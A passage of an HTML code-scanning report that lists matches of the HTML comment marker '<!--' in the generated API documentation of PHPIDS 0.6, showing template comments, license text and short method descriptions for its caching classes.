class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- | <span class="disabled">Includes</span> 70- </div> 71- <div class="info-box-body"> 72: <a name="_IDS/Caching/Interface_php"><span class='match_highlight'><!--</span> --></a> 73-<div class="oddrow"> 74- 75- <div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Memcached.php.html</span>:<span class='line_number'>83</span> <span class='match_count'>(176/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>80- </span> 81- </div> 82- 83: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 84-<p class="short-description">PHPIDS</p> 85-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 86- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Session.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(177/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Session.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Session.php.html</span>:<span class='line_number'>23</span> <span class='match_count'>(178/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- | <a href="#sec-includes">Includes</a> 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS</p> 25-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Session.php.html</span>:<span class='line_number'>72</span> <span class='match_count'>(179/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- | <span class="disabled">Includes</span> 70- </div> 71- <div class="info-box-body"> 72: <a name="_IDS/Caching/Interface_php"><span class='match_highlight'><!--</span> --></a> 73-<div class="oddrow"> 74- 75- <div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Session.php.html</span>:<span class='line_number'>83</span> <span class='match_count'>(180/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>80- </span> 81- </div> 82- 83: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 84-<p class="short-description">PHPIDS</p> 85-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 86- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Filter---Filter.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(181/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Filter.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Filter---Filter.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(182/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS Requirements: PHP5, SimpleXML</p> 24-<p class="description"><p>Copyright (c) 2007 PHPIDS group (http://php-ids.org)</p><p>This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the license.</p><p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.</p></p> 25-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Interface.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(183/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Interface.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Interface.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(184/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html</span>:<span class='line_number'>5</span> <span class='match_count'>(185/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Caching_File</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html</span>:<span class='line_number'>28</span> <span class='match_count'>(186/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- <ul> 26- <li><a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li> </ul> 27- </p> 28: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 29-<p class="short-description">File caching wrapper</p> 30-<p class="description"><p>This class inhabits functionality to get and set cache via a static flatfile.</p></p> 31- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html</span>:<span class='line_number'>99</span> <span class='match_count'>(187/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>96- </div> 97- <div class="info-box-body"> 98- <A NAME='method_detail'></A> 99:<a name="methodgetInstance" id="getInstance"><span class='match_highlight'><!--</span> --></a> 100-<div class="oddrow"> 101- 102- <div class="method-header"> 103- <span class="method-title">static method getInstance</span> (line <span class="line-number">113</span>) 104- </div> 105- 106: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 107-<p class="short-description">Returns an instance of this class</p> 108- <ul class="tags"> 109- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html</span>:<span class='line_number'>133</span> <span class='match_count'>(188/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>130- 131- </div> 132- 133:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 134-<div class="evenrow"> 135- 136- <div class="method-header"> 137- <span class="method-title">Constructor __construct</span> (line <span class="line-number">91</span>) 138- </div> 139- 140: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 141-<p class="short-description">Constructor</p> 142- <ul class="tags"> 143- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html</span>:<span class='line_number'>165</span> <span class='match_count'>(189/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>162- 163- 164- </div> 165:<a name="methodgetCache" id="getCache"><span class='match_highlight'><!--</span> --></a> 166-<div class="oddrow"> 167- 168- <div class="method-header"> 169- <span class="method-title">getCache</span> (line <span class="line-number">163</span>) 170- </div> 171- 172: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 173-<p class="short-description">Returns the cached data</p> 174-<p class="description"><p>Note that this method returns false if either type or file cache is not set</p></p> 175- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html</span>:<span class='line_number'>197</span> <span class='match_count'>(190/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>194- </dl> 195- 196- </div> 197:<a name="methodsetCache" id="setCache"><span class='match_highlight'><!--</span> --></a> 198-<div class="evenrow"> 199- 200- <div class="method-header"> 201- <span class="method-title">setCache</span> (line <span class="line-number">130</span>) 202- </div> 203- 204: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 205-<p class="short-description">Writes cache data into the file</p> 206- <ul class="tags"> 207- <li><span class="field">throws:</span> Exception if cache file couldn't be created</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Interface.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(191/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Interface.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Interface.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(192/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html</span>:<span class='line_number'>5</span> <span class='match_count'>(193/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Caching_Memcached</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html</span>:<span class='line_number'>28</span> <span class='match_count'>(194/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- <ul> 26- <li><a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li> </ul> 27- </p> 28: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 29-<p class="short-description">File caching wrapper</p> 30-<p class="description"><p>This class inhabits functionality to get and set cache via memcached.</p></p> 31- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html</span>:<span class='line_number'>99</span> <span class='match_count'>(195/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>96- </div> 97- <div class="info-box-body"> 98- <A NAME='method_detail'></A> 99:<a name="methodgetInstance" id="getInstance"><span class='match_highlight'><!--</span> --></a> 100-<div class="oddrow"> 101- 102- <div class="method-header"> 103- <span class="method-title">static method getInstance</span> (line <span class="line-number">124</span>) 104- </div> 105- 106: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 107-<p class="short-description">Returns an instance of this class</p> 108- <ul class="tags"> 109- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html</span>:<span class='line_number'>133</span> <span class='match_count'>(196/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>130- 131- </div> 132- 133:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 134-<div class="evenrow"> 135- 136- <div class="method-header"> 137- <span class="method-title">Constructor __construct</span> (line <span class="line-number">100</span>) 138- </div> 139- 140: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 141-<p class="short-description">Constructor</p> 142- <ul class="tags"> 143- <li><span class="field">throws:</span> Exception if necessary files aren't writeable</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html</span>:<span class='line_number'>166</span> <span class='match_count'>(197/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>163- 164- 165- </div> 166:<a name="methodgetCache" id="getCache"><span class='match_highlight'><!--</span> --></a> 167-<div class="oddrow"> 168- 169- <div class="method-header"> 170- <span class="method-title">getCache</span> (line <span class="line-number">172</span>) 171- </div> 172- 173: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 174-<p class="short-description">Returns the cached data</p> 175-<p class="description"><p>Note that this method returns false if either type or file cache is not set</p></p> 176- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html</span>:<span class='line_number'>198</span> <span class='match_count'>(198/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>195- </dl> 196- 197- </div> 198:<a name="methodsetCache" id="setCache"><span class='match_highlight'><!--</span> --></a> 199-<div class="evenrow"> 200- 201- <div class="method-header"> 202- <span class="method-title">setCache</span> (line <span class="line-number">142</span>) 203- </div> 204- 205: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 206-<p class="short-description">Writes cache data</p> 207- <ul class="tags"> 208- <li><span class="field">throws:</span> Exception if necessary files aren't writeable</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Init.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(199/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Init.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Init.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(200/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html</span>:<span class='line_number'>5</span> <span class='match_count'>(201/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Caching_Session</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html</span>:<span class='line_number'>28</span> <span class='match_count'>(202/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- <ul> 26- <li><a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li> </ul> 27- </p> 28: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 29-<p class="short-description">File caching wrapper</p> 30-<p class="description"><p>This class inhabits functionality to get and set cache via session.</p></p> 31- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html</span>:<span class='line_number'>99</span> <span class='match_count'>(203/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>96- </div> 97- <div class="info-box-body"> 98- <A NAME='method_detail'></A> 99:<a name="methodgetInstance" id="getInstance"><span class='match_highlight'><!--</span> --></a> 100-<div class="oddrow"> 101- 102- <div class="method-header"> 103- <span class="method-title">static method getInstance</span> (line <span class="line-number">98</span>) 104- </div> 105- 106: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 107-<p class="short-description">Returns an instance of this class</p> 108- <ul class="tags"> 109- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html</span>:<span class='line_number'>133</span> <span class='match_count'>(204/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>130- 131- </div> 132- 133:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 134-<div class="evenrow"> 135- 136- <div class="method-header"> 137- <span class="method-title">Constructor __construct</span> (line <span class="line-number">84</span>) 138- </div> 139- 140: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 141-<p class="short-description">Constructor</p> 142- <ul class="tags"> 143- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html</span>:<span class='line_number'>165</span> <span class='match_count'>(205/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>162- 163- 164- </div> 165:<a name="methodgetCache" id="getCache"><span class='match_highlight'><!--</span> --></a> 166-<div class="oddrow"> 167- 168- <div class="method-header"> 169- <span class="method-title">getCache</span> (line <span class="line-number">129</span>) 170- </div> 171- 172: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 173-<p class="short-description">Returns the cached data</p> 174-<p class="description"><p>Note that this method returns false if either type or file cache is not set</p></p> 175- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Session.html</span>:<span class='line_number'>197</span> <span class='match_count'>(206/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>194- </dl> 195- 196- </div> 197:<a name="methodsetCache" id="setCache"><span class='match_highlight'><!--</span> --></a> 198-<div class="evenrow"> 199- 200- <div class="method-header"> 201- <span class="method-title">setCache</span> (line <span class="line-number">115</span>) 202- </div> 203- 204: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 205-<p class="short-description">Writes cache data into the session</p> 206- <ul class="tags"> 207- <li><span class="field">access:</span> 